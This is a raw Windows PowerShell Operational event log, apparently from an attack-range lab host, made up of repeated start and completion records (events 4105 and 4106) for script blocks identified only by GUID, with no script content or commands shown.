Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028949
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028948
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028947
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028946
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028945
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028944
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028943
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028942
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028941
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028940
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028939
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028938
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028937
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028936
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028935
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028934
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028933
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028932
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028931
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028930
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028929
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028928
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028927
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028926
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028925
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028924
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028923
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028922
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028921
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028920
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028919
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028918
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028917
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028916
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028915
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028914
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028913
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028912
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028911
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028910
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028909
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028908
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028907
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028906
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028905
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028904
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028903
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028902
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028901
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028900
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028899
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028898
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028897
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028896
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
